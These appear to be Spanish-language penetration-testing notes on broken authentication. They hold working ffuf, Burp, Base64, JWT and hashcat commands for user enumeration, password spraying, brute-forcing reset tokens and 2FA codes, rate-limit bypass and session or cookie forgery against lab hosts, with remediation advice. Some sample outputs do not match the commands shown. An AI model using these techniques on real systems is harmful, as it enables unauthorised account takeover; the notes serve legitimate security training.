Broken Authentication
Broken Authentication agrupa el conjunto de vulnerabilidades relacionadas con mecanismos de autenticación mal implementados: enumeración de usuarios, ausencia de protección contra fuerza bruta, tokens de sesión predecibles, y bypasses de la lógica de autenticación/autorización. Es una de las categorías más consistentemente explotables en aplicaciones reales, porque a menudo involucra lógica de negocio personalizada (no una librería estándar bien auditada).
Enumeración de usuarios
Para atacar un mecanismo de login, un atacante normalmente necesita primero una lista de nombres de usuario válidos. Los nombres de usuario suelen ser mucho menos complejos que las contraseñas (rara vez contienen caracteres especiales si no son direcciones de correo), lo que hace viable enumerarlos directamente. Una lista de usuarios válidos permite acotar el alcance de un ataque de fuerza bruta, realizar ataques dirigidos vía OSINT, o ejecutar password spraying (una misma contraseña común contra muchas cuentas, ver más abajo).
Otras fuentes para obtener nombres de usuario: crawling de la aplicación web, perfiles públicos en redes sociales corporativas (LinkedIn es especialmente útil para inferir el formato de nombre de usuario/correo de una organización), y colecciones de wordlists como SecLists.
❯ ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"-fr "Unknown user": oculta las respuestas que contienen el mensaje de error específico de "usuario no encontrado", dejando visibles solo los intentos con un nombre de usuario que sí existe — verweb_fuzzing.mdpara más detalle de este flag.- Esta técnica funciona porque la aplicación revela, mediante un mensaje distinto, si el usuario existe o no (un error de diseño común: "Unknown user" vs "Invalid password" son mensajes distinguibles). La mitigación correcta es un mensaje genérico idéntico ("Invalid username or password") para ambos casos.
Enumeración por diferencia de tiempo de respuesta
Cuando el mensaje de error es idéntico para usuario inexistente y contraseña incorrecta, a veces aún se puede enumerar por el tiempo de respuesta: validar una contraseña contra un hash almacenado (usuario existente) suele tardar más que rechazar inmediatamente un usuario inexistente:
❯ ffuf -w usuarios.txt -u http://172.16.74.10/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -o resultados.json -od- Revisar el campo
durationde cada resultado y comparar — una diferencia consistente entre grupos de respuestas es indicio de enumeración viable por timing.
Fuerza bruta de contraseñas
Preparar un diccionario personalizado
❯ wc -l /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt
14344391 /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txtFiltrar rockyou.txt para quedarse solo con contraseñas que cumplan una política de complejidad específica (mayúscula + minúscula + dígito + longitud mínima), reduciendo drásticamente el tamaño del ataque cuando se conoce la política de contraseñas del objetivo:
❯ grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
❯ wc -l custom_wordlist.txt
151647 custom_wordlist.txtEjecutar el ataque:
❯ ffuf -w ./custom_wordlist.txt -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4764ms]
* FUZZ: Buttercup1- Un código
302(redirect) tras el intento suele indicar login exitoso, a diferencia de un200que vuelve a mostrar el formulario de login con error — confirmar siempre el comportamiento específico del objetivo antes de asumir esto.
Password Spraying (alternativa a fuerza bruta tradicional)
En vez de probar muchas contraseñas contra un solo usuario (lo que dispara bloqueos de cuenta), el password spraying prueba una contraseña común contra muchos usuarios, avanzando a la siguiente contraseña solo después de agotar la lista de usuarios. Esto reduce drásticamente la probabilidad de bloqueo, ya que cada cuenta individual recibe muy pocos intentos:
❯ for user in $(cat usuarios.txt); do
ffuf -w /dev/stdin:PASS -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=$user&password=PASS" -fr "Invalid username" <<< "Summer2024!"
done- Especialmente efectivo tras una campaña de OSINT que revele patrones de contraseñas estacionales/corporativas comunes en la organización objetivo.
Fuerza bruta de tokens de restablecimiento de contraseña
Cuando el token de reset es corto/numérico (en vez de un valor criptográficamente aleatorio de longitud suficiente), es directamente fuerza-bruteable:
❯ seq -w 0 9999 > tokens.txt❯ ffuf -w ./tokens.txt -u http://reset-password.empresacorp.local/reset_password.php?token=FUZZ -fr "The provided token is invalid"
<SNIP>
[Status: 200, Size: 2667, Words: 538, Lines: 90, Duration: 1ms]
* FUZZ: 6182- Un espacio de tokens de solo 10,000 valores (4 dígitos) se agota en segundos — cualquier token de reset de contraseña debería ser un valor aleatorio largo (mínimo 128 bits de entropía) con expiración corta, no un contador o valor numérico corto.
Fuerza bruta de códigos 2FA/OTP
❯ seq -w 0 9999 > tokens.txt❯ ffuf -w ./tokens.txt -u http://2fa.empresacorp.local/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=rrc35048jvdk1s6fu8qjbv513l" -d "otp=FUZZ" -fr "Invalid 2FA Code"
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 648ms]
* FUZZ: 6513
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 635ms]
* FUZZ: 6514
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1ms]
* FUZZ: 9999-b "PHPSESSID=...": necesario porque el paso de 2FA depende de una sesión ya autenticada con el primer factor (usuario/contraseña) — el código OTP por sí solo no tiene sentido sin el contexto de sesión asociado.- Un TOTP de 6 dígitos estándar (Google Authenticator, Authy) no es vulnerable a esto en condiciones normales porque expira en ~30 segundos y debería tener límite de intentos — esta técnica aplica principalmente a implementaciones caseras de OTP sin rate limiting ni expiración adecuada.
Protecciones contra fuerza bruta (y cómo evaluarlas)
- Rate limiting: limitar el número de intentos por IP/cuenta/ventana de tiempo. Al evaluar, comprobar si el límite es por IP (evadible con
X-Forwarded-Forfalsificado si el backend confía ciegamente en esa cabecera) o por cuenta (más robusto). - CAPTCHA: previene automatización simple; evaluar si el CAPTCHA se valida realmente en el backend o solo se muestra visualmente sin verificación server-side (un error común).
Bypass de rate limiting vía cabeceras de IP falsificadas
Si el backend usa X-Forwarded-For (u otra cabecera similar) para identificar la IP de origen del rate limiting, en vez de la IP real de la conexión TCP, se puede rotar el valor de la cabecera en cada intento para evadir el límite:
❯ ffuf -w custom_wordlist.txt -u http://172.16.74.10/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -H "X-Forwarded-For: FUZZ" -d "username=admin&password=Buttercup1" -w ips_aleatorias.txt- Requiere una wordlist de IPs distintas (aleatorias o generadas) para el valor de la cabecera en cada intento.
Password Attacks (más allá de la fuerza bruta pura)
Contraseñas por defecto
Muchos dispositivos/aplicaciones nunca cambian las credenciales de fábrica. Referencia extensa de credenciales por defecto por fabricante/producto:
Preguntas de seguridad adivinables
Las preguntas de restablecimiento tipo "¿en qué ciudad naciste?" tienen un espacio de respuestas mucho más pequeño de lo que parece — se puede fuerza-brutear con una lista de ciudades del mundo:
❯ cat world-cities.csv | cut -d ',' -f1 > city_wordlist.txt
❯ wc -l city_wordlist.txt
26468 city_wordlist.txtFuente: https://github.com/datasets/world-cities/blob/main/data/world-cities.csv
❯ ffuf -w ./city_wordlist.txt -u http://empresacorp.local/security_question.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=39b54j201u3rhu4tab1pvdb4pv" -d "security_response=FUZZ" -fr "Incorrect response."
<SNIP>
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 0ms]
* FUZZ: HoustonSi se conoce (por OSINT) la nacionalidad/región del usuario objetivo, filtrar la wordlist reduce drásticamente el espacio de búsqueda:
❯ cat world-cities.csv | grep Germany | cut -d ',' -f1 > german_cities.txt
❯ wc -l german_cities.txt
1117 german_cities.txt- Este hallazgo (preguntas de seguridad con respuestas fuerza-bruteables) es un patrón de diseño inherentemente débil — la recomendación de remediación no es "mejorar la pregunta" sino eliminar las preguntas de seguridad como mecanismo de recuperación, reemplazándolas por verificación vía correo/SMS/token temporal.
Authentication Bypass vía manipulación de respuesta
Cuando el control de acceso se implementa incorrectamente confiando en el código de estado HTTP de la respuesta (en vez de validar la sesión server-side en cada petición), se puede interceptar y modificar la respuesta del servidor para engañar al propio navegador:
Con Burp Suite, interceptando la respuesta (no la petición) de un endpoint protegido:
- Habilitar
Intercepten Burp Proxy. - Navegar hasta el endpoint protegido (por ejemplo,
/admin.php) en el navegador. - Clic derecho sobre la petición interceptada → Do intercept > Response to this request, para interceptar la respuesta en vez de la petición.
- Cuando llegue la respuesta con código
302(redirect hacia login, indicando acceso denegado), cambiarla manualmente a200 OKantes de reenviarla.
- Si la lógica de renderizado del lado del cliente (JavaScript) decide mostrar el contenido protegido basándose únicamente en el código de estado recibido (asumiendo que el servidor ya validó todo), este bypass funciona sin necesidad de credenciales válidas.
Automatizar esto sin intercepción manual en cada petición, usando Match and Replace de Burp:
Match: HTTP/1.1 302
Replace: HTTP/1.1 200 OK- Configurado en Burp Proxy → Options → Match and Replace, aplica la sustitución automáticamente a todas las respuestas que coincidan, evitando tener que interceptar manualmente cada petición durante la navegación.
Ataques a tokens de sesión
Identificación de tokens débiles/predecibles
Capturar varios tokens de sesión sucesivos y compararlos byte a byte revela patrones. Ejemplo de tokens con una porción fija y solo una pequeña porción realmente aleatoria:
2c0c58b27c71a2ec5bf2b4b6e892b9f9
2c0c58b27c71a2ec5bf2b4546092b9f9
2c0c58b27c71a2ec5bf2b497f592b9f9
2c0c58b27c71a2ec5bf2b48bcf92b9f9
2c0c58b27c71a2ec5bf2b4735e92b9f9De los 32 caracteres, 28 son idénticos entre las cinco sesiones capturadas: el token consiste en la cadena estática 2c0c58b27c71a2ec5bf2b4, seguida de 4 caracteres realmente aleatorios, seguida de la cadena estática 92b9f9. Esto reduce la entropía efectiva del token de 32 caracteres hexadecimales (una fuerza bruta computacionalmente inviable) a solo 4 caracteres (16^4 = 65,536 combinaciones — trivialmente fuerza-bruteable), permitiendo secuestrar cualquier sesión activa.
Otro patrón débil común: identificadores de sesión secuenciales/incrementales:
141233
141234
141237
141238
141240- Si los IDs de sesión son simplemente un contador (con pequeños huecos por sesiones ya cerradas/expiradas), se puede predecir y probar IDs cercanos a uno recién observado para secuestrar sesiones de otros usuarios activos en ese momento.
Automatizar el fuzzing de la porción variable del token
Una vez identificado el patrón (prefijo/sufijo fijo, porción variable acotada), se puede fuzzear específicamente esa porción en vez del token completo:
❯ ffuf -w /usr/share/seclists/Fuzzing/4-digit-hex-0000-FFFF.txt -u http://172.16.74.10/dashboard -H "Cookie: session=2c0c58b27c71a2ec5bf2b4FUZZ92b9f9" -fs 0Decodificación/manipulación de tokens en Base64
Cuando el token de sesión (o una cookie relacionada, como un rol de usuario) es simplemente Base64 de un valor legible, sin firma criptográfica que lo proteja, se puede decodificar, modificar, y re-codificar libremente:
❯ echo -n dXNlcj1odGItc3RkbnQ7cm9sZT11c2Vy | base64 -d
user=student;role=userModificar el valor y volver a codificar:
❯ echo -n 'user=student;role=admin' | base64
dXNlcj1odGItc3RkbnQ7cm9sZT1hZG1pbg==Alternativa en hexadecimal, si el formato esperado por la aplicación es hex en vez de Base64:
❯ echo -n 'user=student;role=admin' | xxd -p
757365723d6874622d7374646e743b726f6c653d61646d696e- Este patrón (cookie de rol sin firmar, modificable libremente) es un fallo crítico de diseño: cualquier dato usado para decisiones de autorización debe estar firmado criptográficamente del lado del servidor (HMAC, JWT firmado con clave secreta) para que una modificación del lado del cliente sea detectable e inválida.
Ataques a JWT (JSON Web Tokens)
Cuando el token de sesión es un JWT, existen vectores de ataque específicos del formato:
Decodificar sin verificar firma (los JWT no están cifrados, solo codificados en Base64URL — cualquiera puede leer el payload):
❯ echo '<header>.<payload>.<firma>' | cut -d. -f2 | base64 -dSi el servidor acepta el algoritmo none (sin firma), se puede fabricar un token arbitrario sin conocer la clave secreta:
❯ echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '='
❯ echo -n '{"user":"admin","role":"admin"}' | base64 | tr -d '='
# Token final: <header_b64>.<payload_b64>. (firma vacía)Si la clave de firma HMAC es débil, se puede intentar crackearla offline:
❯ hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt-m 16500: modo de hashcat específico para JWT firmados con HS256.- Herramientas dedicadas como
jwt_toolautomatizan la detección de estas debilidades (algoritmonone, confusión RS256/HS256, claves débiles) en un solo comando.
Notas de metodología
- Siempre capturar múltiples tokens de sesión (mínimo 5-10) antes de concluir si hay un patrón — un solo token no es suficiente para distinguir entre aleatoriedad real y un patrón oculto.
- Documentar tanto el mensaje de error específico que habilita la enumeración de usuarios como el mecanismo exacto de generación de tokens débiles — la remediación es distinta en cada caso (mensajes genéricos vs. generador criptográficamente seguro).
- Combinar hallazgos de esta categoría con otros documentos: un IDOR (
idor.md) sobre un token de sesión predecible, o un XSS (xss.md) que robe una cookie sin flagHttpOnly, a menudo constituyen una cadena de explotación más convincente que cada hallazgo por separado.